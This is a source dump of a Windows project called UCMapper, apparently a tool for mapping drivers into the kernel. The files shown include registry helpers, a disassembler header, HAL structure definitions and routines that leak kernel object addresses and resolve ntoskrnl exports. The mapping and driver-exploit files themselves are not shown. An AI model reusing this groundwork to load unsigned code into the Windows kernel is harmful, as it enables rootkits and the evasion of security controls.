64 | Status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &ObjectAttributes);
65 |
66 | if NT_SUCCESS (Status) {
67 | RtlInitUnicodeString(&UnicodeString, Valuename);
68 | PartialInformationSize = sizeof(KEY_VALUE_PARTIAL_INFORMATION) + BufferLength - 1;
69 | PartialInformation = RtlAllocateMemory(PartialInformationSize);
70 |
71 | Status = NtQueryValueKey(
72 | RegistryHandle,
73 | &UnicodeString,
74 | KeyValuePartialInformation,
75 | PartialInformation,
76 | PartialInformationSize,
77 | &ResultLength);
78 |
79 | if NT_SUCCESS (Status)
80 | RtlCopyMemory(Buffer, PartialInformation->Data, PartialInformation->DataLength);
81 |
82 | RtlFreeMemory(PartialInformation);
83 | NtClose(RegistryHandle);
84 | }
85 |
86 | return Status;
87 | }
88 |
89 | NTSTATUS RtlRegDeleteKey(_In_ LPCWSTR RegistryPath)
90 | {
91 | HANDLE RegistryHandle;
92 | UNICODE_STRING unicodeString;
93 | NTSTATUS status;
94 |
95 | RtlInitUnicodeString(&unicodeString, RegistryPath);
96 | OBJECT_ATTRIBUTES objectAttributes
97 | = RTL_CONSTANT_OBJECT_ATTRIBUTES(&unicodeString, OBJ_CASE_INSENSITIVE);
98 |
99 | status = NtOpenKey(&RegistryHandle, KEY_ALL_ACCESS, &objectAttributes);
100 | if NT_SUCCESS (status) {
101 | status = NtDeleteKey(RegistryHandle);
102 | NtClose(RegistryHandle);
103 | }
104 |
105 | return status;
106 | }
107 |
--------------------------------------------------------------------------------
/UCMapper/hde64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | * hde64.h: C/C++ header file
7 | *
8 | */
9 |
10 | #ifndef _HDE64_H_
11 | #define _HDE64_H_
12 |
13 | /* stdint.h - C99 standard header
14 | * http://en.wikipedia.org/wiki/stdint.h
15 | *
16 | * if your compiler doesn't contain "stdint.h" header (for
17 | * example, Microsoft Visual C++), you can download file:
18 | * http://www.azillionmonkeys.com/qed/pstdint.h
19 | * and change next line to:
20 | * #include "pstdint.h"
21 | */
22 |
23 | #define F_MODRM 0x00000001
24 | #define F_SIB 0x00000002
25 | #define F_IMM8 0x00000004
26 | #define F_IMM16 0x00000008
27 | #define F_IMM32 0x00000010
28 | #define F_IMM64 0x00000020
29 | #define F_DISP8 0x00000040
30 | #define F_DISP16 0x00000080
31 | #define F_DISP32 0x00000100
32 | #define F_RELATIVE 0x00000200
33 | #define F_ERROR 0x00001000
34 | #define F_ERROR_OPCODE 0x00002000
35 | #define F_ERROR_LENGTH 0x00004000
36 | #define F_ERROR_LOCK 0x00008000
37 | #define F_ERROR_OPERAND 0x00010000
38 | #define F_PREFIX_REPNZ 0x01000000
39 | #define F_PREFIX_REPX 0x02000000
40 | #define F_PREFIX_REP 0x03000000
41 | #define F_PREFIX_66 0x04000000
42 | #define F_PREFIX_67 0x08000000
43 | #define F_PREFIX_LOCK 0x10000000
44 | #define F_PREFIX_SEG 0x20000000
45 | #define F_PREFIX_REX 0x40000000
46 | #define F_PREFIX_ANY 0x7f000000
47 |
48 | #define PREFIX_SEGMENT_CS 0x2e
49 | #define PREFIX_SEGMENT_SS 0x36
50 | #define PREFIX_SEGMENT_DS 0x3e
51 | #define PREFIX_SEGMENT_ES 0x26
52 | #define PREFIX_SEGMENT_FS 0x64
53 | #define PREFIX_SEGMENT_GS 0x65
54 | #define PREFIX_LOCK 0xf0
55 | #define PREFIX_REPNZ 0xf2
56 | #define PREFIX_REPX 0xf3
57 | #define PREFIX_OPERAND_SIZE 0x66
58 | #define PREFIX_ADDRESS_SIZE 0x67
59 |
60 | #pragma pack(push, 1)
61 |
62 | typedef struct
63 | {
64 | UCHAR len;
65 | UCHAR p_rep;
66 | UCHAR p_lock;
67 | UCHAR p_seg;
68 | UCHAR p_66;
69 | UCHAR p_67;
70 | UCHAR rex;
71 | UCHAR rex_w;
72 | UCHAR rex_r;
73 | UCHAR rex_x;
74 | UCHAR rex_b;
75 | UCHAR opcode;
76 | UCHAR opcode2;
77 | UCHAR modrm;
78 | UCHAR modrm_mod;
79 | UCHAR modrm_reg;
80 | UCHAR modrm_rm;
81 | UCHAR sib;
82 | UCHAR sib_scale;
83 | UCHAR sib_index;
84 | UCHAR sib_base;
85 |
86 | union
87 | {
88 | UCHAR imm8;
89 | USHORT imm16;
90 | ULONG imm32;
91 | ULONGLONG imm64;
92 | } imm;
93 |
94 | union
95 | {
96 | UCHAR disp8;
97 | USHORT disp16;
98 | ULONG disp32;
99 | } disp;
100 |
101 | ULONG flags;
102 | } hde64s;
103 |
104 | #pragma pack(pop)
105 |
106 | #ifdef __cplusplus
107 | extern "C" {
108 | #endif
109 |
110 | unsigned int hde64_disasm(const void* code, hde64s* hs);
111 |
112 | FORCEINLINE SIZE_T GetProcedureSize(PVOID Procedure)
113 | {
114 | hde64s hde;
115 | SIZE_T c;
116 |
117 | c = 0;
118 |
119 | RtlZeroMemory(&hde, sizeof(hde));
120 | while (hde.opcode != 0xC3 && hde.opcode != 0xCC) {
121 | hde64_disasm((PVOID)((PCHAR)Procedure + c), &hde);
122 | if (hde.flags & F_ERROR)
123 | break;
124 | c += hde.len;
125 | }
126 |
127 | return c;
128 | }
129 |
130 | #ifdef __cplusplus
131 | }
132 | #endif
133 |
134 | #endif /* _HDE64_H_ */
135 |
--------------------------------------------------------------------------------
/UCMapper/UCMapper.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | Source Files
35 |
36 |
37 | Source Files
38 |
39 |
40 | Source Files
41 |
42 |
43 | Source Files
44 |
45 |
46 | Source Files
47 |
48 |
49 | Source Files
50 |
51 |
52 | Source Files
53 |
54 |
55 |
56 |
57 | Header Files
58 |
59 |
60 | Header Files
61 |
62 |
63 | Header Files
64 |
65 |
66 | Header Files
67 |
68 |
69 | Header Files
70 |
71 |
72 | Header Files
73 |
74 |
75 | Header Files
76 |
77 |
78 | Header Files
79 |
80 |
81 | Header Files
82 |
83 |
84 | Header Files
85 |
86 |
87 | Header Files
88 |
89 |
90 | Header Files
91 |
92 |
93 | Header Files
94 |
95 |
96 |
97 |
98 | Resource Files
99 |
100 |
101 |
--------------------------------------------------------------------------------
/UCMapper/UCMapper.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Release
6 | x64
7 |
8 |
9 |
10 | 17.0
11 | Win32Proj
12 | {88fb186e-9662-4db3-bbb1-e12a23522ea3}
13 | UCMapper
14 | 10.0
15 |
16 |
17 |
18 | Application
19 | false
20 | v143
21 | true
22 | Unicode
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | Level4
36 | true
37 | true
38 | false
39 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
40 | true
41 | false
42 | MinSpace
43 | AnySuitable
44 | Size
45 | false
46 | MultiThreaded
47 |
48 |
49 | Windows
50 | true
51 | true
52 | true
53 | AsInvoker
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
--------------------------------------------------------------------------------
/UCMapper/routine.c:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 |
3 | NTSTATUS ObGetObjectByHandle(_In_ HANDLE Handle, _Out_ PULONGLONG Pointer)
4 | {
5 | PSYSTEM_HANDLE_INFORMATION_EX SystemHandleInfo;
6 | ULONG i;
7 | ULONG BufferLength = 0;
8 | PVOID Buffer = NULL;
9 | NTSTATUS Status;
10 |
11 | *Pointer = 0;
12 | BufferLength = sizeof(PVOID);
13 | Buffer = RtlAllocateMemory(BufferLength);
14 | Status = STATUS_INFO_LENGTH_MISMATCH;
15 |
16 | while (Status != STATUS_SUCCESS) {
17 | Status = NtQuerySystemInformation(
18 | SystemExtendedHandleInformation,
19 | Buffer,
20 | BufferLength,
21 | &BufferLength);
22 |
23 | if (Status == STATUS_INFO_LENGTH_MISMATCH) {
24 | RtlFreeMemory(Buffer);
25 | Buffer = RtlAllocateMemory(BufferLength);
26 | }
27 | }
28 |
29 | Status = STATUS_NOT_FOUND;
30 | SystemHandleInfo = Buffer;
31 | for (i = 0; i < SystemHandleInfo->NumberOfHandles; ++i) {
32 | if (SystemHandleInfo->Handles[i].UniqueProcessId
33 | == (ULONGLONG)NtCurrentTeb()->ClientId.UniqueProcess
34 | && SystemHandleInfo->Handles[i].HandleValue == (ULONGLONG)Handle) {
35 | *Pointer = (ULONGLONG)SystemHandleInfo->Handles[i].Object;
36 | Status = STATUS_SUCCESS;
37 | break;
38 | }
39 | }
40 |
41 | RtlFreeMemory(Buffer);
42 | return Status;
43 | }
44 |
45 | NTSTATUS MmGetSystemModuleA(
46 | _In_ LPCSTR ModuleName,
47 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation)
48 | {
49 | NTSTATUS Status;
50 | ULONG BufferLength;
51 | PRTL_PROCESS_MODULES ModuleList;
52 | PCHAR BaseModuleName;
53 | ANSI_STRING ModuleNameA;
54 | ANSI_STRING BaseModuleNameA;
55 |
56 | RtlSecureZeroMemory(ModuleInformation, sizeof(RTL_PROCESS_MODULE_INFORMATION));
57 | BufferLength = sizeof(PVOID);
58 | ModuleList = RtlAllocateMemory(BufferLength);
59 | Status = STATUS_INFO_LENGTH_MISMATCH;
60 |
61 | while (Status != STATUS_SUCCESS) {
62 | Status = NtQuerySystemInformation(
63 | SystemModuleInformation,
64 | ModuleList,
65 | BufferLength,
66 | &BufferLength);
67 |
68 | if (Status == STATUS_INFO_LENGTH_MISMATCH) {
69 | RtlFreeMemory(ModuleList);
70 | ModuleList = RtlAllocateMemory(BufferLength);
71 | }
72 | }
73 |
74 | Status = STATUS_DLL_NOT_FOUND;
75 | RtlInitString(&ModuleNameA, ModuleName);
76 | for (ULONG i = 0; i < ModuleList->NumberOfModules; i++) {
77 | BaseModuleName = RtlOffsetToPointer(
78 | ModuleList->Modules[i].FullPathName,
79 | ModuleList->Modules[i].OffsetToFileName);
80 |
81 | RtlInitString(&BaseModuleNameA, BaseModuleName);
82 | if (RtlEqualString(&BaseModuleNameA, &ModuleNameA, TRUE) == TRUE) {
83 | *ModuleInformation = ModuleList->Modules[i];
84 | Status = STATUS_SUCCESS;
85 | break;
86 | }
87 | }
88 |
89 | if (ModuleList) {
90 | RtlFreeMemory(ModuleList);
91 | ModuleList = NULL;
92 | }
93 |
94 | return Status;
95 | }
96 |
97 | NTSTATUS MmGetSystemModuleW(
98 | _In_ LPCWSTR ModuleName,
99 | _Out_ PRTL_PROCESS_MODULE_INFORMATION ModuleInformation)
100 | {
101 | ANSI_STRING AnsiString;
102 | UNICODE_STRING UnicodeString;
103 | NTSTATUS Status;
104 |
105 | RtlInitUnicodeString(&UnicodeString, ModuleName);
106 | Status = RtlUnicodeStringToAnsiString(&AnsiString, &UnicodeString, TRUE);
107 |
108 | if NT_SUCCESS (Status) {
109 | Status = MmGetSystemModuleA(AnsiString.Buffer, ModuleInformation);
110 | RtlFreeAnsiString(&AnsiString);
111 | }
112 |
113 | return Status;
114 | }
115 |
116 | NTSTATUS MmGetSystemRoutineAddressA(_In_ LPCSTR RoutineName, _Out_ PULONGLONG Pointer)
117 | {
118 | NTSTATUS Status;
119 | UNICODE_STRING UnicodeString;
120 | ULONGLONG ImageBase;
121 | ULONGLONG Address;
122 | RTL_PROCESS_MODULE_INFORMATION ModuleInformation;
123 | WCHAR v1[] = {L'n', L't', L'o', L's', L'k', L'r', L'n', L'l', L'.', L'e', L'x', L'e', L'\0'};
124 |
125 | *Pointer = 0;
126 | Status = MmGetSystemModuleW(v1, &ModuleInformation);
127 | if NT_ERROR (Status) {
128 | DEBUG_PRINT_NTSTATUS(Status);
129 | return Status;
130 | }
131 |
132 | RtlInitUnicodeString(&UnicodeString, v1);
133 | Status = LdrLoadDll(NULL, NULL, &UnicodeString, (PVOID*)&ImageBase);
134 | if NT_ERROR (Status) {
135 | DEBUG_PRINT_NTSTATUS(Status);
136 | return Status;
137 | }
138 |
139 | Status = STATUS_PROCEDURE_NOT_FOUND;
140 | Address = (ULONGLONG)RtlFindExportedRoutineByName((PVOID)ImageBase, (PSTR)RoutineName);
141 | LdrUnloadDll((PVOID)ImageBase);
142 |
143 | if (Address != 0) {
144 | Address -= ImageBase;
145 | Address += (ULONGLONG)ModuleInformation.ImageBase;
146 | *Pointer = Address;
147 | Status = STATUS_SUCCESS;
148 | }
149 |
150 | return Status;
151 | }
152 |
153 | NTSTATUS MmGetSystemRoutineAddressW(_In_ LPCWSTR ModuleName, _Out_ PULONGLONG Pointer)
154 | {
155 | ANSI_STRING AnsiString;
156 | UNICODE_STRING UnicodeString;
157 | NTSTATUS Status;
158 |
159 | RtlInitUnicodeString(&UnicodeString, ModuleName);
160 | Status = RtlUnicodeStringToAnsiString(&AnsiString, &UnicodeString, TRUE);
161 |
162 | if NT_SUCCESS (Status) {
163 | Status = MmGetSystemRoutineAddressA(AnsiString.Buffer, Pointer);
164 | RtlFreeAnsiString(&AnsiString);
165 | }
166 |
167 | return Status;
168 | }
169 |
--------------------------------------------------------------------------------
/UCMapper/halamd64.h:
--------------------------------------------------------------------------------
1 | /************************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2014 - 2020
4 | * Taken from publicly available Microsoft sources or mentioned elsewhere.
5 | *
6 | * TITLE: HALAMD64.H
7 | *
8 | * VERSION: 1.11
9 | *
10 | * DATE: 12 Feb 2020
11 | *
12 | * Common header file for the ntos HAL AMD64 definitions.
13 | *
14 | * Depends on: Windows.h
15 | *
16 | * Include: Windows.h
17 | *
18 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
19 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
20 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
21 | * PARTICULAR PURPOSE.
22 | *
23 | ************************************************************************************/
24 |
25 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
26 | #pragma once
27 | #endif
28 |
29 | #ifndef HALAMD64_RTL
30 | #define HALAMD64_RTL
31 |
32 | #pragma warning(push)
33 | #pragma warning(disable : 4214)
34 | #pragma warning(disable : 4201)
35 |
36 | //
37 | // HALAMD64_RTL HEADER BEGIN
38 | //
39 |
40 | #pragma pack(push, 2)
41 |
42 | typedef struct _FAR_JMP_16
43 | {
44 | UCHAR OpCode; // = 0xe9
45 | USHORT Offset;
46 | } FAR_JMP_16;
47 |
48 | typedef struct _FAR_TARGET_32
49 | {
50 | ULONG Offset;
51 | USHORT Selector;
52 | } FAR_TARGET_32;
53 |
54 | typedef struct _PSEUDO_DESCRIPTOR_32
55 | {
56 | USHORT Limit;
57 | ULONG Base;
58 | } PSEUDO_DESCRIPTOR_32;
59 |
60 | #pragma pack(pop)
61 |
62 | typedef union _KGDTENTRY64
63 | {
64 | struct
65 | {
66 | USHORT LimitLow;
67 | USHORT BaseLow;
68 |
69 | union
70 | {
71 | struct
72 | {
73 | UCHAR BaseMiddle;
74 | UCHAR Flags1;
75 | UCHAR Flags2;
76 | UCHAR BaseHigh;
77 | } Bytes;
78 |
79 | struct
80 | {
81 | ULONG BaseMiddle : 8;
82 | ULONG Type : 5;
83 | ULONG Dpl : 2;
84 | ULONG Present : 1;
85 | ULONG LimitHigh : 4;
86 | ULONG System : 1;
87 | ULONG LongMode : 1;
88 | ULONG DefaultBig : 1;
89 | ULONG Granularity : 1;
90 | ULONG BaseHigh : 8;
91 | } Bits;
92 | };
93 |
94 | ULONG BaseUpper;
95 | ULONG MustBeZero;
96 | };
97 |
98 | ULONGLONG Alignment;
99 | } KGDTENTRY64, *PKGDTENTRY64;
100 |
101 | typedef union _KIDTENTRY64
102 | {
103 | struct
104 | {
105 | USHORT OffsetLow;
106 | USHORT Selector;
107 | USHORT IstIndex : 3;
108 | USHORT Reserved0 : 5;
109 | USHORT Type : 5;
110 | USHORT Dpl : 2;
111 | USHORT Present : 1;
112 | USHORT OffsetMiddle;
113 | ULONG OffsetHigh;
114 | ULONG Reserved1;
115 | };
116 |
117 | ULONGLONG Alignment;
118 | } KIDTENTRY64, *PKIDTENTRY64;
119 |
120 | typedef union _KGDT_BASE
121 | {
122 | struct
123 | {
124 | USHORT BaseLow;
125 | UCHAR BaseMiddle;
126 | UCHAR BaseHigh;
127 | ULONG BaseUpper;
128 | };
129 |
130 | ULONGLONG Base;
131 | } KGDT_BASE, *PKGDT_BASE;
132 |
133 | typedef union _KGDT_LIMIT
134 | {
135 | struct
136 | {
137 | USHORT LimitLow;
138 | USHORT LimitHigh : 4;
139 | USHORT MustBeZero : 12;
140 | };
141 |
142 | ULONG Limit;
143 | } KGDT_LIMIT, *PKGDT_LIMIT;
144 |
145 | #define PSB_GDT32_MAX 3
146 |
147 | typedef struct _KDESCRIPTOR
148 | {
149 | USHORT Pad[3];
150 | USHORT Limit;
151 | PVOID Base;
152 | } KDESCRIPTOR, *PKDESCRIPTOR;
153 |
154 | typedef struct _KDESCRIPTOR32
155 | {
156 | USHORT Pad[3];
157 | USHORT Limit;
158 | ULONG Base;
159 | } KDESCRIPTOR32, *PKDESCRIPTOR32;
160 |
161 | typedef struct _KSPECIAL_REGISTERS
162 | {
163 | ULONGLONG Cr0;
164 | ULONGLONG Cr2;
165 | ULONGLONG Cr3;
166 | ULONGLONG Cr4;
167 | ULONGLONG KernelDr0;
168 | ULONGLONG KernelDr1;
169 | ULONGLONG KernelDr2;
170 | ULONGLONG KernelDr3;
171 | ULONGLONG KernelDr6;
172 | ULONGLONG KernelDr7;
173 | KDESCRIPTOR Gdtr;
174 | KDESCRIPTOR Idtr;
175 | USHORT Tr;
176 | USHORT Ldtr;
177 | ULONG MxCsr;
178 | ULONGLONG DebugControl;
179 | ULONGLONG LastBranchToRip;
180 | ULONGLONG LastBranchFromRip;
181 | ULONGLONG LastExceptionToRip;
182 | ULONGLONG LastExceptionFromRip;
183 | ULONGLONG Cr8;
184 | ULONGLONG MsrGsBase;
185 | ULONGLONG MsrGsSwap;
186 | ULONGLONG MsrStar;
187 | ULONGLONG MsrLStar;
188 | ULONGLONG MsrCStar;
189 | ULONGLONG MsrSyscallMask;
190 | } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;
191 |
192 | typedef struct _KPROCESSOR_STATE
193 | {
194 | KSPECIAL_REGISTERS SpecialRegisters;
195 | CONTEXT ContextFrame;
196 | } KPROCESSOR_STATE, *PKPROCESSOR_STATE;
197 |
198 | typedef struct _PROCESSOR_START_BLOCK* PPROCESSOR_START_BLOCK;
199 |
200 | typedef struct _PROCESSOR_START_BLOCK
201 | {
202 | //
203 | // The block starts with a jmp instruction to the end of the block
204 | //
205 |
206 | FAR_JMP_16 Jmp;
207 |
208 | //
209 | // Completion flag is set to non-zero when the target processor has
210 | // started
211 | //
212 |
213 | ULONG CompletionFlag;
214 |
215 | //
216 | // Pseudo descriptors for GDT and IDT.
217 | //
218 |
219 | PSEUDO_DESCRIPTOR_32 Gdt32;
220 | PSEUDO_DESCRIPTOR_32 Idt32;
221 |
222 | //
223 | // The temporary 32-bit GDT itself resides here.
224 | //
225 |
226 | KGDTENTRY64 Gdt[PSB_GDT32_MAX + 1];
227 |
228 | //
229 | // Physical address of the 64-bit top-level identity-mapped page table.
230 | //
231 |
232 | ULONGLONG TiledCr3;
233 |
234 | //
235 | // Far jump target from Rm to Pm code
236 | //
237 |
238 | FAR_TARGET_32 PmTarget;
239 |
240 | //
241 | // Far jump target from Pm to Lm code
242 | //
243 |
244 | FAR_TARGET_32 LmIdentityTarget;
245 |
246 | //
247 | // Address of LmTarget
248 | //
249 |
250 | PVOID LmTarget;
251 |
252 | //
253 | // Linear address of this structure
254 | //
255 |
256 | PPROCESSOR_START_BLOCK SelfMap;
257 |
258 | //
259 | // Contents of the PAT msr
260 | //
261 |
262 | ULONGLONG MsrPat;
263 |
264 | //
265 | // Contents of the EFER msr
266 | //
267 |
268 | ULONGLONG MsrEFER;
269 |
270 | //
271 | // Initial processor state for the processor to be started
272 | //
273 |
274 | KPROCESSOR_STATE ProcessorState;
275 |
276 | } PROCESSOR_START_BLOCK;
277 |
278 | #pragma warning(pop)
279 |
280 | //
281 | // HALAMD64_RTL HEADER END
282 | //
283 |
284 | #endif HALAMD64_RTL
285 |
--------------------------------------------------------------------------------
/UCMapper/main.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #pragma warning(disable : 4995 4201)
4 |
5 | #ifdef __cplusplus
6 | extern "C" {
7 | #endif
8 |
9 | #define UMDF_USING_NTSTATUS
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include "halamd64.h"
15 | #include "ntdll.h"
16 |
17 | #include "driver.h"
18 | #include "routine.h"
19 | #include "hook.h"
20 | #include "hde64.h"
21 | #include "registry.h"
22 | #include "filerw.h"
23 | #include "driverlist.h"
24 | #include "kernel.h"
25 | #include "mapper.h"
26 |
27 | #include "resource.h"
28 | #pragma comment( \
29 | linker, \
30 | "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
31 |
32 |
33 | #pragma intrinsic(memcpy)
34 | #pragma intrinsic(memset)
35 |
36 | #ifndef DISABLE_OUTPUT
37 | #define DEBUG_PRINT(Format, ...) DebugPrint(L##Format L"\r\n", __VA_ARGS__)
38 | #define DEBUG_PRINT_NTSTATUS(Status) \
39 | { \
40 | PVOID Message; \
41 | \
42 | FormatMessageW( \
43 | (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM \
44 | | FORMAT_MESSAGE_IGNORE_INSERTS), \
45 | NULL, \
46 | RtlNtStatusToDosError(Status), \
47 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), \
48 | (LPWSTR) & Message, \
49 | 0, \
50 | NULL); \
51 | \
52 | if NT_SUCCESS (Status) { \
53 | DEBUG_PRINT( \
54 | "[+] Succeed on %hs[%u]:\r\n\tDescription: %ws\tFile: %hs", \
55 | __FUNCTION__, \
56 | __LINE__, \
57 | (LPWSTR)Message, \
58 | __FILE__); \
59 | } else { \
60 | DEBUG_PRINT( \
61 | "[!] Error on %hs[%u]:\r\n\tDescription: %ws\tFile: %hs", \
62 | __FUNCTION__, \
63 | __LINE__, \
64 | (LPWSTR)Message, \
65 | __FILE__); \
66 | } \
67 | LocalFree(Message); \
68 | }
69 | #define MSG_BOX(Format, ...) MsgBoxFormat(L##Format, __VA_ARGS__)
70 |
71 | #else
72 | #define DEBUG_PRINT(Format, ...)
73 | #define DEBUG_PRINT_NTSTATUS(Status)
74 | #endif
75 |
76 | static VOID DebugPrint(LPCWSTR Format, ...)
77 | {
78 | UNICODE_STRING UnicodeString;
79 | LPWSTR Storage;
80 | ULONG NumberOfWritten;
81 | HANDLE StandardHandle;
82 | CONSOLE_SCREEN_BUFFER_INFO ScreenInformation;
83 | USHORT PrevAttr, NewAttr;
84 | HRESULT hr;
85 | CONSOLE_FONT_INFOEX FontInformation;
86 |
87 | Storage = RtlAllocateMemory(PAGE_SIZE);
88 | StandardHandle = GetStdHandle(STD_OUTPUT_HANDLE);
89 | PrevAttr = 0;
90 | NewAttr = 0;
91 |
92 | if (GetConsoleScreenBufferInfo(StandardHandle, &ScreenInformation)) {
93 | PrevAttr = *(&ScreenInformation.wAttributes);
94 | }
95 |
96 | FontInformation.cbSize = sizeof(CONSOLE_FONT_INFOEX);
97 |
98 | // Populate cfi with the screen buffer's current font info
99 | if (GetCurrentConsoleFontEx(StandardHandle, FALSE, &FontInformation)
100 | && FontInformation.FontWeight != 700) {
101 | // Modify the font size in cfi
102 | //FontInformation.dwFontSize.X = 12;
103 | //FontInformation.dwFontSize.Y = 24;
104 | FontInformation.FontWeight = 700;
105 | //StringCchCopyW(FontInformation.FaceName, RTL_NUMBER_OF(FontInformation.FaceName), L"Cascadia Mono");
106 | // Use cfi to set the screen buffer's new font
107 | SetCurrentConsoleFontEx(StandardHandle, FALSE, &FontInformation);
108 |
109 | //ScreenInformation.dwMaximumWindowSize.X = 400;
110 | //ScreenInformation.dwMaximumWindowSize.Y = 400;
111 | //ScreenInformation.dwSize.X = 400;
112 | //ScreenInformation.dwSize.Y = 400;
113 | //SetConsoleScreenBufferInfoEx(StandardHandle, &ScreenInformation);
114 | //SetConsoleScreenBufferSize(StandardHandle, ScreenInformation.dwMaximumWindowSize);
115 | }
116 |
117 | va_list argList;
118 | va_start(argList, Format);
119 | hr = StringVPrintfWorkerW(Storage, PAGE_SIZE / sizeof(WCHAR), NULL, Format, argList);
120 | va_end(argList);
121 |
122 | if SUCCEEDED (hr) {
123 | RtlInitUnicodeString(&UnicodeString, Storage);
124 |
125 | switch (UnicodeString.Buffer[1]) {
126 | case L'i':
127 | case L'+':
128 | NewAttr = FOREGROUND_GREEN;
129 | break;
130 |
131 | case L'-':
132 | case L'!':
133 | NewAttr = FOREGROUND_RED;
134 | break;
135 |
136 | default:
137 | NewAttr = PrevAttr;
138 | break;
139 | }
140 |
141 | SetConsoleTextAttribute(StandardHandle, NewAttr);
142 |
143 | WriteConsoleW(
144 | StandardHandle,
145 | UnicodeString.Buffer,
146 | UnicodeString.Length / sizeof(WCHAR),
147 | &NumberOfWritten,
148 | NULL);
149 |
150 | SetConsoleTextAttribute(StandardHandle, PrevAttr);
151 | }
152 |
153 | RtlFreeMemory(Storage);
154 | }
155 |
156 | static VOID MsgBoxFormat(LPCWSTR Message, ...)
157 | {
158 | WCHAR Storage[MAX_PATH];
159 |
160 | va_list argList;
161 | va_start(argList, Message);
162 | StringVPrintfWorkerW(Storage, MAX_PATH, NULL, Message, argList);
163 | va_end(argList);
164 |
165 | MessageBox(GetForegroundWindow(), Storage, NULL, MB_OK | MB_TOPMOST);
166 | }
167 |
168 | #ifdef __cplusplus
169 | }
170 | #endif
171 |
--------------------------------------------------------------------------------
/.clang-format:
--------------------------------------------------------------------------------
1 | ---
2 | BasedOnStyle: Microsoft
3 | AccessModifierOffset: -2
4 | AlignAfterOpenBracket: AlwaysBreak
5 | AlignArrayOfStructures: Left
6 | AlignConsecutiveAssignments:
7 | Enabled: true
8 | AcrossEmptyLines: false
9 | AcrossComments: false
10 | AlignCompound: true
11 | PadOperators: true
12 | AlignConsecutiveBitFields:
13 | Enabled: true
14 | AcrossEmptyLines: true
15 | AcrossComments: true
16 | AlignCompound: true
17 | PadOperators: true
18 | AlignConsecutiveDeclarations:
19 | Enabled: false
20 | AcrossEmptyLines: true
21 | AcrossComments: true
22 | AlignCompound: true
23 | PadOperators: true
24 | AlignConsecutiveMacros:
25 | Enabled: true
26 | AcrossEmptyLines: true
27 | AcrossComments: true
28 | AlignCompound: true
29 | PadOperators: true
30 | AlignEscapedNewlines: Left
31 | AlignOperands: Align
32 | AlignTrailingComments:
33 | Kind: Always
34 | OverEmptyLines: 0
35 | AllowAllArgumentsOnNextLine: false
36 | AllowAllParametersOfDeclarationOnNextLine: false
37 | AllowShortBlocksOnASingleLine: Never
38 | AllowShortCaseLabelsOnASingleLine: false
39 | AllowShortEnumsOnASingleLine: false
40 | AllowShortFunctionsOnASingleLine: None
41 | AllowShortIfStatementsOnASingleLine: Never
42 | AllowShortLambdasOnASingleLine: None
43 | AllowShortLoopsOnASingleLine: false
44 | AlwaysBreakAfterDefinitionReturnType: None
45 | AlwaysBreakAfterReturnType: None
46 | AlwaysBreakBeforeMultilineStrings: false
47 | AlwaysBreakTemplateDeclarations: No
48 | AttributeMacros:
49 | - __capability
50 | BinPackArguments: false
51 | BinPackParameters: false
52 | BitFieldColonSpacing: Both
53 | BraceWrapping:
54 | AfterCaseLabel: false
55 | AfterClass: true
56 | AfterControlStatement: Never
57 | AfterEnum: true
58 | AfterFunction: true
59 | AfterNamespace: true
60 | AfterObjCDeclaration: false
61 | AfterStruct: true
62 | AfterUnion: true
63 | AfterExternBlock: false
64 | BeforeCatch: false
65 | BeforeElse: false
66 | BeforeLambdaBody: false
67 | BeforeWhile: false
68 | IndentBraces: false
69 | SplitEmptyFunction: false
70 | SplitEmptyRecord: false
71 | SplitEmptyNamespace: false
72 | BreakAfterAttributes: Never
73 | BreakAfterJavaFieldAnnotations: false
74 | BreakArrays: false
75 | BreakBeforeBinaryOperators: All
76 | BreakBeforeBraces: Custom
77 | BreakBeforeConceptDeclarations: Never
78 | BreakBeforeInlineASMColon: OnlyMultiline
79 | BreakBeforeTernaryOperators: false
80 | BreakConstructorInitializers: BeforeComma
81 | BreakInheritanceList: BeforeComma
82 | BreakStringLiterals: true
83 | ColumnLimit: 100
84 | CommentPragmas: "^ IWYU pragma:"
85 | CompactNamespaces: false
86 | ConstructorInitializerIndentWidth: 2
